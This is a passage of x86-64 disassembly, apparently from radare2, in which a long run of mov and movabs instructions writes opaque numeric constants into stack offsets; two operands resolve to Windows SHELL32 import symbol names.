mov dword [rsp + 0x68e4], 0x1fde
movabs rax, 0x7405be6c809c9f
mov qword [rsp + 0xc508], rax
movabs rax, 0x7a67978fa11002
mov qword [rsp + 0xc510], rax
mov eax, 0xc6e
mov word [rsp + 0x25fc], ax
mov byte [rsp + 0x448], 0x7c
mov byte [rsp + 0x449], 0x13
movabs rax, 0x71ed1f0d980e92
mov qword [rsp + 0xc518], rax
movabs rax, 0x7483d63ea27713
mov qword [rsp + 0xc520], rax
movabs rax, 0x7107b96fb33295
mov qword [rsp + 0xc528], rax
mov byte [rsp + 0x44a], 0x12
mov eax, 0x539
mov word [rsp + 0x2600], ax
mov eax, 0x182
mov word [rsp + 0x2604], ax
movabs rax, 0x740fc8c19b7d68
mov qword [rsp + 0xc530], rax
mov eax, 0x79
mov word [rsp + 0x2608], ax
mov eax, 0x30f
mov word [rsp + 0x260c], ax
mov eax, 0x7d2
mov word [rsp + 0x2610], ax
mov eax, 0x4e7
mov word [rsp + 0x2614], ax
mov byte [rsp + 0x44b], 0x52
mov dword [rsp + 0x68e8], 0x1cea
mov eax, 0x2f5
mov word [rsp + 0x2618], ax
mov eax, 0x6e1
mov word [rsp + 0x261c], ax
mov dword [rsp + 0x68ec], 0x220b
mov dword [rsp + 0x68f0], 0x616d
mov dword [rsp + 0x68f4], 0x2324
mov dword [rsp + 0x68f8], 0x5df8e5d4
mov dword [rsp + 0x68fc], 0xf9af
movabs rax, 0x76e035a20f2c5b
mov qword [rsp + 0xc538], rax
mov dword [rsp + 0x6900], 0xb33f
movabs rax, 0x701ba1d7e70be0
mov qword [rsp + 0xc540], rax
mov eax, 0x5d6
mov word [rsp + 0x2620], ax
mov dword [rsp + 0x6904], 0x2ca8a44
mov byte [rsp + 0x44c], 0xfc
movabs rax, 0x75542249a31323
mov qword [rsp + 0xc548], rax
mov byte [rsp + 0x44d], 0x58
mov dword [rsp + 0x6908], 0x6dbf4eae
mov byte [rsp + 0x44e], 0x5f
mov byte [rsp + 0x44f], 0x6a
mov byte [rsp + 0x450], 0x1b
mov byte [rsp + 0x451], 0x8f
mov dword [rsp + 0x690c], 0x66e2d8b
mov eax, 0x70
mov word [rsp + 0x2624], ax
mov dword [rsp + 0x6910], 0x48db
mov dword [rsp + 0x6914], 0x6410
movabs rax, 0x74e74f466269e1
mov qword [rsp + 0xc550], rax
movabs rax, 0x792e01b6981778
mov qword [rsp + 0xc558], rax
mov byte [rsp + 0x452], 0x45
mov byte [rsp + 0x453], 0xdd
mov eax, 0x792
mov word [rsp + 0x2628], ax
mov byte [rsp + 0x454], 0x68
movabs rax, 0x713725347dd3b4
mov qword [rsp + 0xc560], rax
movabs rax, 0x7dbc4a06c23542
mov qword [rsp + 0xc568], rax
movabs rax, 0x7de87f2ecbf5b1
mov qword [rsp + 0xc570], rax
mov eax, 0xfb3
mov word [rsp + 0x262c], ax
mov dword [rsp + 0x6918], 0x4f24
mov eax, 0xcfa
mov word [rsp + 0x2630], ax
mov eax, 0x658
mov word [rsp + 0x2634], ax
mov eax, 0x31e
mov word [rsp + 0x2638], ax
mov dword [rsp + 0x691c], 0x37d0
mov byte [rsp + 0x455], 0x2a
movabs rax, 0x74e27f524e99d7
mov qword [rsp + 0xc578], rax
mov byte [rsp + 0x456], 0x58
movabs rax, 0x7a035599fcb8c9
mov qword [rsp + 0xc580], rax
movabs rax, 0x7ecb3e0518ca25
mov qword [rsp + 0xc588], rax
movabs rax, 0x76540549ad6c59
mov qword [rsp + 0xc590], rax
mov byte [rsp + 0x457], 0x72
mov byte [rsp + 0x458], 0x78
mov eax, 0x4f9
mov word [rsp + 0x263c], ax
mov eax, 0x59a
mov word [rsp + 0x2640], ax
mov dword [rsp + 0x6920], 0x46dfe8c3
mov eax, 0x68e
mov word [rsp + 0x2644], ax
mov eax, 0xac8
mov word [rsp + 0x2648], ax
mov dword [rsp + 0x6924], 0xbec3
mov eax, 0x1f0
mov word [rsp + 0x264c], ax
mov eax, 0x605
mov word [rsp + 0x2650], ax
movabs rax, 0x7c751dfc38f903
mov qword [rsp + 0xc598], rax
mov dword [rsp + 0x6928], 0x3626aaf0
movabs rax, 0x730b8ad1380f22
mov qword [rsp + 0xc5a0], rax
mov eax, 0x7a6
mov word [rsp + 0x2654], ax
mov eax, 0x374
mov word [rsp + 0x2658], ax
mov eax, 0x39e
mov word [rsp + 0x265c], ax
mov eax, 0x1ae
mov word [rsp + 0x2660], ax
mov eax, 0x3e7
mov word [rsp + 0x2664], ax
mov eax, 0xbe0
mov word [rsp + 0x2668], ax
mov dword [rsp + 0x692c], 0x61eecbf9
mov dword [rsp + 0x6930], 0x1484
mov eax, 0x231
mov word [rsp + 0x266c], ax
mov dword [rsp + 0x6934], 0xd144
movabs rax, 0x748044e4c925a3
mov qword [rsp + 0xc5a8], rax
mov dword [rsp + 0x6938], 0x380e
mov dword [rsp + 0x693c], 0x394543c5
mov dword [rsp + 0x6940], 0x764c
mov eax, 0x7a8
mov word [rsp + 0x2670], ax
mov byte [rsp + 0x459], 0x2f
mov eax, 0x50e
mov word [rsp + 0x2674], ax
movabs rax, 0x79a84682c152fa
mov qword [rsp + 0xc5b0], rax
mov eax, 0x620
mov word [rsp + 0x2678], ax
mov eax, 0x463
mov word [rsp + 0x267c], ax
mov dword [rsp + 0x6944], 0xeef
movabs rax, 0x7b9815a1c76b0f
mov qword [rsp + 0xc5b8], rax
mov eax, 0x129
mov word [rsp + 0x2680], ax
mov byte [rsp + 0x45a], 0x68
mov byte [rsp + 0x45b], 0x24
mov dword [rsp + 0x6948], 0x3752
movabs rax, 0x7686b646d88937
mov qword [rsp + 0xc5c0], rax
mov byte [rsp + 0x45c], 0x39
mov dword [rsp + 0x694c], 0xbdec
movabs rax, 0x7cfd71e8071267
mov qword [rsp + 0xc5c8], rax
movabs rax, 0x7bdec5b705e485
mov qword [rsp + 0xc5d0], rax
mov eax, 0x231
mov word [rsp + 0x2684], ax
mov eax, 0x96f
mov word [rsp + 0x2688], ax
movabs rax, 0x7b7d8742182259
mov qword [rsp + 0xc5d8], rax
movabs rax, 0x751f2ed6fe073c
mov qword [rsp + 0xc5e0], rax
movabs rax, 0x7c4e77cc376a40
mov qword [rsp + 0xc5e8], rax
mov byte [rsp + 0x45d], 0x5f
movabs rax, 0x76d4248e7f8bc8
mov qword [rsp + 0xc5f0], rax
movabs rax, 0x72e83a263cc499
mov qword [rsp + 0xc5f8], rax
movabs rax, 0x716daa6411c74d
mov qword [rsp + 0xc600], rax
movabs rax, 0x79cf29d6baf1a4
mov qword [rsp + 0xc608], rax
movabs rax, 0x7ceadb01150315
mov qword [rsp + 0xc610], rax
movabs rax, 0x738e5ea173c5af
mov qword [rsp + 0xc618], rax
mov eax, 0x2f5
mov word [rsp + 0x268c], ax
mov eax, 0x5ee
mov word [rsp + 0x2690], ax
mov byte [rsp + 0x45e], 0x5c
mov byte [rsp + 0x45f], 0x15
mov dword [rsp + 0x6950], 0x2264
movabs rax, 0x7a49a6b6d787c9
mov qword [rsp + 0xc620], rax
mov dword [rsp + 0x6954], 0x8ba2
mov dword [rsp + 0x6958], 0x4e2f0ca7
movabs rax, 0x737d2844a8d814
mov qword [rsp + 0xc628], rax
mov dword [rsp + 0x695c], 0x201a3f97
mov eax, 0xd68
mov word [rsp + 0x2694], ax
mov eax, 0x1f2
mov word [rsp + 0x2698], ax
mov dword [rsp + 0x6960], 0xbe2f
movabs rax, 0x7e55b6c8e12784
mov qword [rsp + 0xc630], rax
movabs rax, 0x772fce31a2613f
mov qword [rsp + 0xc638], rax
mov dword [rsp + 0x6964], 0xe9828c9
mov byte [rsp + 0x460], 0x7f
mov eax, 0x8b4
mov word [rsp + 0x269c], ax
movabs rax, 0x77fbe41f43d34f
mov qword [rsp + 0xc640], rax
movabs rax, 0x797b3e2e7fac3d
mov qword [rsp + 0xc648], rax
movabs rax, 0x7b60ba498b5428
mov qword [rsp + 0xc650], rax
mov dword [rsp + 0x6968], 0xe8f2
mov dword [rsp + 0x696c], 0x27f10d61
movabs rax, 0x77adf68ad93cc5
mov qword [rsp + 0xc658], rax
mov eax, 0xacd
mov word [rsp + 0x26a0], ax
movabs rax, 0x75b8ba8e88e178
mov qword [rsp + 0xc660], rax
mov dword [rsp + 0x6970], 0x3fe1
movabs rax, 0x72af40083fb6a8
mov qword [rsp + 0xc668], rax
mov eax, 0x622
mov word [rsp + 0x26a4], ax
mov eax, 0x5a5
mov word [rsp + 0x26a8], ax
movabs rax, 0x7cc05ab1c7db4e
mov qword [rsp + 0xc670], rax
mov dword [rsp + 0x6974], 0x9aab
mov dword [rsp + 0x6978], 0xe73
mov eax, 0x531
mov word [rsp + 0x26ac], ax
mov dword [rsp + 0x697c], 0x192aa5d8
mov dword [rsp + 0x6980], 0x54ebbdd1
mov byte [rsp + 0x461], 0x5a
mov byte [rsp + 0x462], 0x4b
movabs rax, 0x7cb302be9c879c
mov qword [rsp + 0xc678], rax
mov dword [rsp + 0x6984], 0x4a7976a2
mov byte [rsp + 0x463], 0x67
movabs rax, 0x79c6bc0460fb90
mov qword [rsp + 0xc680], rax
mov dword [rsp + 0x6988], 0x768
mov byte [rsp + 0x464], 0x2d
mov dword [rsp + 0x698c], 0x3e9a
movabs rax, 0x75fbb826894b76
mov qword [rsp + 0xc688], rax
movabs rax, 0x77e0ee698ef473
mov qword [rsp + 0xc690], rax
mov byte [rsp + 0x465], 0x49
movabs rax, 0x7a4b0cfd3c6ca1
mov qword [rsp + 0xc698], rax
mov eax, 0xdb3
mov word [rsp + 0x26b0], ax
mov eax, 0xe6
mov word [rsp + 0x26b4], ax
mov eax, 0x846
mov word [rsp + 0x26b8], ax
mov byte [rsp + 0x466], 0x49
movabs rax, 0x757935103b269b
mov qword [rsp + 0xc6a0], rax
mov dword [rsp + 0x6990], 0x4a3ef771
movabs rax, 0x78e177dc7c446a
mov qword [rsp + 0xc6a8], rax
mov byte [rsp + 0x467], 0xa
mov eax, 0x3c7
mov word [rsp + 0x26bc], ax
mov dword [rsp + 0x6994], 0x1d22
mov eax, 0x661
mov word [rsp + 0x26c0], ax
mov eax, 0x27f
mov word [rsp + 0x26c4], ax
movabs rax, 0x74e49bdbbdb224
mov qword [rsp + 0xc6b0], rax
movabs rax, 0x73e0eefb56d4b7
mov qword [rsp + 0xc6b8], rax
mov eax, 0x2ac
mov word [rsp + 0x26c8], ax
mov byte [rsp + 0x468], 0x26
mov eax, 0x2be
mov word [rsp + 0x26cc], ax
mov eax, 0xf94
mov word [rsp + 0x26d0], ax
movabs rax, 0x728fcaeaebdd0d
mov qword [rsp + 0xc6c0], rax
mov dword [rsp + 0x6998], 0xe45a
mov byte [rsp + 0x469], 0x64
movabs rax, 0x75d9407499a459
mov qword [rsp + 0xc6c8], rax
movabs rax, 0x79af122d0d7fce
mov qword [rsp + 0xc6d0], rax
movabs rax, 0x771a2cac8b6d39
mov qword [rsp + 0xc6d8], rax
movabs rax, 0x70c933f2819c0a
mov qword [rsp + 0xc6e0], rax
mov byte [rsp + 0x46a], 0x65
mov dword [rsp + 0x699c], 0x64a5c4e8
mov byte [rsp + 0x46b], 4
mov dword [rsp + 0x69a0], 0x5325
mov dword [rsp + 0x69a4], 0x208ea28d
mov dword [rsp + 0x69a8], 0x4128
movabs rax, 0x7bc8681bd396da
mov qword [rsp + 0xc6e8], rax
mov byte [rsp + 0x46c], 0x94
mov dword [rsp + 0x69ac], 0x70bae262
mov eax, 0x44c
mov word [rsp + 0x26d4], ax
mov dword [rsp + 0x69b0], 0x3ecf
movabs rax, 0x7ee143fff90515
mov qword [rsp + 0xc6f0], rax
mov dword [rsp + 0x69b4], 0x1c4d
mov byte [rsp + 0x46d], 0x4c
mov dword [rsp + 0x69b8], 0x2a548fb0
movabs rax, 0x73d59f621545c6
mov qword [rsp + 0xc6f8], rax
mov eax, 0x24b
mov word [rsp + 0x26d8], ax
mov byte [rsp + 0x46e], 0x48
mov eax, 0x278
mov word [rsp + 0x26dc], ax
movabs rax, 0x77b2c4a0ad5923
mov qword [rsp + 0xc700], rax
movabs rax, 0x74c798bf4d165f
mov qword [rsp + 0xc708], rax
mov eax, 0xbe0
mov word [rsp + 0x26e0], ax
mov dword [rsp + 0x69bc], 0x867c
movabs rax, 0x7e89d37e314179
mov qword [rsp + 0xc710], rax
mov byte [rsp + 0x46f], 0xa3
mov dword [rsp + 0x69c0], 0xfca
movabs rax, 0x780bead1ff1480
mov qword [rsp + 0xc718], rax
mov dword [rsp + 0x69c4], 0x8817
mov dword [rsp + 0x69c8], 0xf338
movabs rax, 0x777acbc8c4bb56
mov qword [rsp + 0xc720], rax
mov byte [rsp + 0x470], 0x56
movabs rax, 0x70dd7a2d04950b
mov qword [rsp + 0xc728], rax
mov dword [rsp + 0x69cc], 0x6dd7ba15
movabs rax, 0x700c5afb6f4394
mov qword [rsp + 0xc730], rax
movabs rax, 0x706cba91b52a09
mov qword [rsp + 0xc738], rax
mov dword [rsp + 0x69d0], 0x8867
mov eax, 0x5db
mov word [rsp + 0x26e4], ax
mov eax, 0x202
mov word [rsp + 0x26e8], ax
mov eax, reloc.SHELL32.dll_SHDoDragDrop
mov word [rsp + 0x26ec], ax
mov eax, 0x7be
mov word [rsp + 0x26f0], ax
mov dword [rsp + 0x69d4], 0x5dc9
movabs rax, 0x72b4a49d211067
mov qword [rsp + 0xc740], rax
mov byte [rsp + 0x471], 3
mov dword [rsp + 0x69d8], 0x53da
movabs rax, 0x7ccf95d2bc1bb0
mov qword [rsp + 0xc748], rax
movabs rax, 0x719487c905627c
mov qword [rsp + 0xc750], rax
movabs rax, 0x727fd2ff5c9f17
mov qword [rsp + 0xc758], rax
mov dword [rsp + 0x69dc], 0x5a57
movabs rax, 0x771be494919166
mov qword [rsp + 0xc760], rax
movabs rax, 0x77e26e2a42c348
mov qword [rsp + 0xc768], rax
movabs rax, 0x7c902af4754fa4
mov qword [rsp + 0xc770], rax
mov byte [rsp + 0x472], 0x6d
movabs rax, 0x73f84b9e535d62
mov qword [rsp + 0xc778], rax
mov dword [rsp + 0x69e0], 0x7122ef01
mov eax, 0xb6f
mov word [rsp + 0x26f4], ax
mov eax, 0xc21
mov word [rsp + 0x26f8], ax
mov byte [rsp + 0x473], 0x64
movabs rax, 0x7486f3de108745
mov qword [rsp + 0xc780], rax
movabs rax, 0x7aac7b9d00acdc
mov qword [rsp + 0xc788], rax
mov eax, 0x10a
mov word [rsp + 0x26fc], ax
mov byte [rsp + 0x474], 7
mov eax, 0x467
mov word [rsp + 0x2700], ax
mov eax, 0x554
mov word [rsp + 0x2704], ax
mov eax, 0x4b0
mov word [rsp + 0x2708], ax
mov eax, 0x5d8
mov word [rsp + 0x270c], ax
mov dword [rsp + 0x69e4], 0x2acd117d
mov eax, 0x7cb
mov word [rsp + 0x2710], ax
mov eax, 0x36c
mov word [rsp + 0x2714], ax
mov byte [rsp + 0x475], 0x7e
mov byte [rsp + 0x476], 0x54
mov dword [rsp + 0x69e8], 0xfe18
movabs rax, 0x7e144e43a3398a
mov qword [rsp + 0xc790], rax
mov eax, 0x378
mov word [rsp + 0x2718], ax
mov eax, 0x917
mov word [rsp + 0x271c], ax
mov dword [rsp + 0x69ec], 0x825c
movabs rax, 0x726bd813c159fa
mov qword [rsp + 0xc798], rax
mov byte [rsp + 0x477], 0x59
mov byte [rsp + 0x478], 0x52
mov eax, 0x5a0
mov word [rsp + 0x2720], ax
mov eax, 0x446
mov word [rsp + 0x2724], ax
mov byte [rsp + 0x479], 0x72
movabs rax, 0x73af80652094f4
mov qword [rsp + 0xc7a0], rax
mov eax, 0x8b8
mov word [rsp + 0x2728], ax
mov byte [rsp + 0x47a], 0x4a
mov eax, 0x4ab
mov word [rsp + 0x272c], ax
mov dword [rsp + 0x69f0], 0xaf2e
mov byte [rsp + 0x47b], 0
mov byte [rsp + 0x47c], 0xbd
movabs rax, 0x7d19d1993e7b1b
mov qword [rsp + 0xc7a8], rax
mov dword [rsp + 0x69f4], 0x3a01
movabs rax, 0x7e42981b065130
mov qword [rsp + 0xc7b0], rax
mov eax, 0xebb
mov word [rsp + 0x2730], ax
mov eax, 0xc11
mov word [rsp + 0x2734], ax
movabs rax, 0x738f7725da056a
mov qword [rsp + 0xc7b8], rax
movabs rax, 0x7e46eb728d0674
mov qword [rsp + 0xc7c0], rax
mov eax, 0x7b2
mov word [rsp + 0x2738], ax
mov byte [rsp + 0x47d], 0x2e
mov byte [rsp + 0x47e], 0x3b
mov eax, 0x3bc
mov word [rsp + 0x273c], ax
mov byte [rsp + 0x47f], 0xfb
mov byte [rsp + 0x480], 2
mov dword [rsp + 0x69f8], 0x81ef
movabs rax, 0x7ef1fde6188fa1
mov qword [rsp + 0xc7c8], rax
mov eax, 0x31b
mov word [rsp + 0x2740], ax
mov eax, 0x95d
mov word [rsp + 0x2744], ax
mov dword [rsp + 0x69fc], 0xa643
mov dword [rsp + 0x6a00], 0x1535
movabs rax, 0x7234609e1cb93a
mov qword [rsp + 0xc7d0], rax
movabs rax, 0x7ef413d81d3e2e
mov qword [rsp + 0xc7d8], rax
mov eax, 0xb0a
mov word [rsp + 0x2748], ax
mov dword [rsp + 0x6a04], 0x7a7e6c93
movabs rax, 0x74d9c823bfb064
mov qword [rsp + 0xc7e0], rax
movabs rax, 0x7d0677ab96a54d
mov qword [rsp + 0xc7e8], rax
movabs rax, 0x7e7324d212fc8d
mov qword [rsp + 0xc7f0], rax
mov dword [rsp + 0x6a08], 0x2af2
mov eax, 0xb3b
mov word [rsp + 0x274c], ax
movabs rax, 0x76dcae99274419
mov qword [rsp + 0xc7f8], rax
mov byte [rsp + 0x481], 0x1d
mov eax, 0xa5f
mov word [rsp + 0x2750], ax
mov dword [rsp + 0x6a0c], 0x4b1bf4b
movabs rax, 0x7b889470f10adf
mov qword [rsp + 0xc800], rax
mov byte [rsp + 0x482], 0x29
mov byte [rsp + 0x483], 0x6b
movabs rax, 0x776f6b9fa013b4
mov qword [rsp + 0xc808], rax
mov byte [rsp + 0x484], 0x7a
movabs rax, 0x7b13b36c672203
mov qword [rsp + 0xc810], rax
mov byte [rsp + 0x485], 0x6e
mov eax, 0x4bf
mov word [rsp + 0x2754], ax
movabs rax, 0x70c33e43ba2c69
mov qword [rsp + 0xc818], rax
mov eax, 0xd66
mov word [rsp + 0x2758], ax
mov byte [rsp + 0x486], 0x65
mov dword [rsp + 0x6a10], 0x273c
mov eax, 0xa
mov word [rsp + 0x275c], ax
mov eax, 0x1a4
mov word [rsp + 0x2760], ax
movabs rax, 0x7202c59f8d6049
mov qword [rsp + 0xc820], rax
mov byte [rsp + 0x487], 0xf7
movabs rax, 0x7a837cfda7f624
mov qword [rsp + 0xc828], rax
mov eax, 0xf68
mov word [rsp + 0x2764], ax
mov dword [rsp + 0x6a14], 0xf20f
mov eax, 0x275
mov word [rsp + 0x2768], ax
movabs rax, 0x73e03a61297e33
mov qword [rsp + 0xc830], rax
movabs rax, 0x78a591e76aecca
mov qword [rsp + 0xc838], rax
mov eax, 0x9f
mov word [rsp + 0x276c], ax
mov dword [rsp + 0x6a18], 0x45f9b3d0
movabs rax, 0x78fc90561745c0
mov qword [rsp + 0xc840], rax
mov eax, 0xcc6
mov word [rsp + 0x2770], ax
mov eax, 0xf8
mov word [rsp + 0x2774], ax
movabs rax, 0x7c9ad34c6d8dd2
mov qword [rsp + 0xc848], rax
movabs rax, 0x7e3a9886d546cc
mov qword [rsp + 0xc850], rax
mov dword [rsp + 0x6a1c], 0x50494fee
movabs rax, 0x787d1e37162d66
mov qword [rsp + 0xc858], rax
mov byte [rsp + 0x488], 1
mov dword [rsp + 0x6a20], 0x9a43
mov eax, 0x23d
mov word [rsp + 0x2778], ax
movabs rax, 0x788ebffbb3d89d
mov qword [rsp + 0xc860], rax
movabs rax, 0x793853aff9d3c4
mov qword [rsp + 0xc868], rax
mov dword [rsp + 0x6a24], 0x2f2ceee6
mov byte [rsp + 0x489], 8
movabs rax, 0x799ab9400a900e
mov qword [rsp + 0xc870], rax
movabs rax, 0x73a3cd799eb25a
mov qword [rsp + 0xc878], rax
mov byte [rsp + 0x48a], 0x17
mov eax, 0x126
mov word [rsp + 0x277c], ax
movabs rax, 0x7a04c9951614bc
mov qword [rsp + 0xc880], rax
movabs rax, 0x7ed6ca661bed4c
mov qword [rsp + 0xc888], rax
mov dword [rsp + 0x6a28], 0x307b
mov eax, 0x78e
mov word [rsp + 0x2780], ax
movabs rax, 0x7b63121011d730
mov qword [rsp + 0xc890], rax
mov byte [rsp + 0x48b], 0x73
mov eax, 0xe47
mov word [rsp + 0x2784], ax
movabs rax, 0x77201ad72777ae
mov qword [rsp + 0xc898], rax
mov eax, 0x6dd
mov word [rsp + 0x2788], ax
movabs rax, 0x7d233b61814768
mov qword [rsp + 0xc8a0], rax
movabs rax, 0x75748284af7757
mov qword [rsp + 0xc8a8], rax
mov eax, 0x140
mov word [rsp + 0x278c], ax
mov byte [rsp + 0x48c], 0x15
mov byte [rsp + 0x48d], 0x1c
mov eax, 0x43d
mov word [rsp + 0x2790], ax
mov dword [rsp + 0x6a2c], 0x22735842
movabs rax, 0x7cd349d67bca37
mov qword [rsp + 0xc8b0], rax
mov dword [rsp + 0x6a30], 0x7251f987
movabs rax, 0x72e04398ae6a4e
mov qword [rsp + 0xc8b8], rax
mov eax, 0x798
mov word [rsp + 0x2794], ax
mov byte [rsp + 0x48e], 0x33
mov dword [rsp + 0x6a34], 0x5ca54c
movabs rax, 0x72b27dda063d18
mov qword [rsp + 0xc8c0], rax
movabs rax, 0x7dc8e3189d44ca
mov qword [rsp + 0xc8c8], rax
mov eax, 0x784
mov word [rsp + 0x2798], ax
movabs rax, 0x71a1d3cdeed818
mov qword [rsp + 0xc8d0], rax
mov byte [rsp + 0x48f], 0x69
movabs rax, 0x78959ba086ac6a
mov qword [rsp + 0xc8d8], rax
movabs rax, 0x7631480b0dd30d
mov qword [rsp + 0xc8e0], rax
mov dword [rsp + 0x6a38], 0xa847
mov eax, 0x6ad
mov word [rsp + 0x279c], ax
mov dword [rsp + 0x6a3c], 0x72bf
mov dword [rsp + 0x6a40], 0x6458
mov eax, 0x5aa
mov word [rsp + 0x27a0], ax
mov eax, 0x69c
mov word [rsp + 0x27a4], ax
mov dword [rsp + 0x6a44], 0x67bb27fa
mov eax, 0x6c5
mov word [rsp + 0x27a8], ax
mov eax, 0xa8d
mov word [rsp + 0x27ac], ax
mov eax, 0x6ba
mov word [rsp + 0x27b0], ax
mov dword [rsp + 0x6a48], 0x605e
mov byte [rsp + 0x490], 0x3a
mov byte [rsp + 0x491], 0x1c
mov eax, 0x5d9
mov word [rsp + 0x27b4], ax
mov eax, 0x411
mov word [rsp + 0x27b8], ax
mov eax, 0x784
mov word [rsp + 0x27bc], ax
mov dword [rsp + 0x6a4c], 0x16c
mov eax, 0x1f3
mov word [rsp + 0x27c0], ax
mov eax, 0xedd
mov word [rsp + 0x27c4], ax
mov eax, 0x8cf
mov word [rsp + 0x27c8], ax
mov byte [rsp + 0x492], 0x89
mov byte [rsp + 0x493], 0xa3
mov byte [rsp + 0x494], 0xd3
mov dword [rsp + 0x6a50], 0x9974
movabs rax, 0x7e9be7404e214c
mov qword [rsp + 0xc8e8], rax
mov dword [rsp + 0x6a54], 0x637408fb
mov byte [rsp + 0x495], 0x52
mov dword [rsp + 0x6a58], 0x21ead76c
movabs rax, 0x7a1e3d0f313d93
mov qword [rsp + 0xc8f0], rax
movabs rax, 0x742a4be2895be2
mov qword [rsp + 0xc8f8], rax
mov eax, 0x8c4
mov word [rsp + 0x27cc], ax
movabs rax, 0x7522af1487b62f
mov qword [rsp + 0xc900], rax
mov dword [rsp + 0x6a5c], 0x9199299
mov byte [rsp + 0x496], 0x7a
movabs rax, 0x76c2fb19f30e7d
mov qword [rsp + 0xc908], rax
mov eax, 0x301
mov word [rsp + 0x27d0], ax
movabs rax, 0x7cb415e9113bd6
mov qword [rsp + 0xc910], rax
mov eax, 0x77a
mov word [rsp + 0x27d4], ax
mov byte [rsp + 0x497], 0x64
movabs rax, 0x76c1815c1b5d0a
mov qword [rsp + 0xc918], rax
movabs rax, 0x72309d7f2d3039
mov qword [rsp + 0xc920], rax
mov eax, 0xfa9
mov word [rsp + 0x27d8], ax
mov dword [rsp + 0x6a60], 0x33d0efe6
mov eax, 0x3a7
mov word [rsp + 0x27dc], ax
mov byte [rsp + 0x498], 1
movabs rax, 0x792958c14918be
mov qword [rsp + 0xc928], rax
mov eax, 0xcf
mov word [rsp + 0x27e0], ax
mov eax, 0xe85
mov word [rsp + 0x27e4], ax
mov eax, 0xb60
mov word [rsp + 0x27e8], ax
mov eax, ILCreateFromPathW
mov word [rsp + 0x27ec], ax
mov dword [rsp + 0x6a64], 0x908b
mov dword [rsp + 0x6a68], 0xcb3b
mov eax, 0x2f3
mov word [rsp + 0x27f0], ax
movabs rax, 0x74d955a1de218b
mov qword [rsp + 0xc930], rax
mov eax, 0xb81
mov word [rsp + 0x27f4], ax
mov eax, 0x5f2
mov word [rsp + 0x27f8], ax
mov eax, 0x784
mov word [rsp + 0x27fc], ax
mov eax, 0x6d1
mov word [rsp + 0x2800], ax
mov eax, 0x228
mov word [rsp + 0x2804], ax
mov dword [rsp + 0x6a6c], 0x1276
movabs rax, 0x76c9f43631c8dc
mov qword [rsp + 0xc938], rax
movabs rax, 0x75df8f18cbd953
mov qword [rsp + 0xc940], rax
movabs rax, 0x788733e668897c
mov qword [rsp + 0xc948], rax
mov dword [rsp + 0x6a70], 0x37760bb0
mov dword [rsp + 0x6a74], 0x681c750d
mov byte [rsp + 0x499], 0x30
mov eax, 0x769
mov word [rsp + 0x2808], ax
movabs rax, 0x73fa5f3fcb8deb
mov qword [rsp + 0xc950], rax
mov eax, 0x813
mov word [rsp + 0x280c], ax
mov eax, 0x706
mov word [rsp + 0x2810], ax
mov byte [rsp + 0x49a], 0xa4
mov eax, 0xf2e
mov word [rsp + 0x2814], ax
mov byte [rsp + 0x49b], 0x46
mov byte [rsp + 0x49c], 0x44
mov byte [rsp + 0x49d], 0x18
mov dword [rsp + 0x6a78], 0x7d6f7def
mov eax, 0xd8e
mov word [rsp + 0x2818], ax
mov eax, 0x183
mov word [rsp + 0x281c], ax
mov dword [rsp + 0x6a7c], 0xed6b
mov dword [rsp + 0x6a80], 0x356e4070
mov eax, 0x655
mov word [rsp + 0x2820], ax
movabs rax, 0x77215dbaee3b39
mov qword [rsp + 0xc958], rax
mov eax, 0x3a5
mov word [rsp + 0x2824], ax
movabs rax, 0x73d715fda49b81
mov qword [rsp + 0xc960], rax
movabs rax, 0x7894c365a1d50b
mov qword [rsp + 0xc968], rax
mov byte [rsp + 0x49e], 0xe3
movabs rax, 0x78ecca77fa6780
mov qword [rsp + 0xc970], rax
mov dword [rsp + 0x6a84], 0x4909
mov byte [rsp + 0x49f], 0x17
movabs rax, 0x7c7f676b8911e2
mov qword [rsp + 0xc978], rax
movabs rax, 0x751ea632934774
mov qword [rsp + 0xc980], rax
mov dword [rsp + 0x6a88], 0x24f1fa0f
movabs rax, 0x732ef79144f597
mov qword [rsp + 0xc988], rax
mov dword [rsp + 0x6a8c], 0x37b85aa2
mov dword [rsp + 0x6a90], 0x6a5c8ba3
mov dword [rsp + 0x6a94], 0x535f3a40
movabs rax, 0x7aac8ce0bd0e73
mov qword [rsp + 0xc990], rax
mov eax, 0x258
mov word [rsp + 0x2828], ax
mov dword [rsp + 0x6a98], 0x277a366f
movabs rax, 0x76df307acc505c
mov qword [rsp + 0xc998], rax
mov eax, 0x975
mov word [rsp + 0x282c], ax
mov eax, 0x577
mov word [rsp + 0x2830], ax
movabs rax, 0x7695a6f417d415
mov qword [rsp + 0xc9a0], rax
movabs rax, 0x75de432037cbaf
mov qword [rsp + 0xc9a8], rax
mov eax, 0x13a
mov word [rsp + 0x2834], ax
mov byte [rsp + 0x4a0], 0x4f
movabs rax, 0x790089ee0bb5a5
mov qword [rsp + 0xc9b0], rax
mov byte [rsp + 0x4a1], 0xf
mov byte [rsp + 0x4a2], 0x75
mov byte [rsp + 0x4a3], 0xd8
movabs rax, 0x76be30f392ccf4
mov qword [rsp + 0xc9b8], rax
mov eax, 0x7eb
mov word [rsp + 0x2838], ax
mov dword [rsp + 0x6a9c], 0xcff5
movabs rax, 0x7e2ff2524559f3
mov qword [rsp + 0xc9c0], rax
mov eax, 0x4b1
mov word [rsp + 0x283c], ax
mov byte [rsp + 0x4a4], 6
mov eax, 0x17e
mov word [rsp + 0x2840], ax
mov dword [rsp + 0x6aa0], 0xcf20
mov eax, 0xed3
mov word [rsp + 0x2844], ax
mov eax, 0x98f
mov word [rsp + 0x2848], ax
mov byte [rsp + 0x4a5], 0x21
movabs rax, 0x7ea59b129d349c
mov qword [rsp + 0xc9c8], rax
mov eax, 0x715
mov word [rsp + 0x284c], ax
movabs rax, 0x7198406754dcf4
mov qword [rsp + 0xc9d0], rax
mov eax, 0x5eb
mov word [rsp + 0x2850], ax
mov eax, 0x649
mov word [rsp + 0x2854], ax
mov eax, 0x5b9
mov word [rsp + 0x2858], ax
mov dword [rsp + 0x6aa4], 0x14f7
movabs rax, 0x73e565486b4adf
mov qword [rsp + 0xc9d8], rax
mov dword [rsp + 0x6aa8], 0xed24
movabs rax, 0x7e612c0d1714fa
mov qword [rsp + 0xc9e0], rax
mov eax, 0x5a1
mov word [rsp + 0x285c], ax
movabs rax, 0x7a8ef06708c0cf
mov qword [rsp + 0xc9e8], rax
mov eax, 0x9b4
mov word [rsp + 0x2860], ax
mov eax, 0x736
mov word [rsp + 0x2864], ax
movabs rax, 0x75229ddb0a20e0
mov qword [rsp + 0xc9f0], rax
mov eax, 0x6a6
mov word [rsp + 0x2868], ax
movabs rax, 0x7bac76c283f5ec
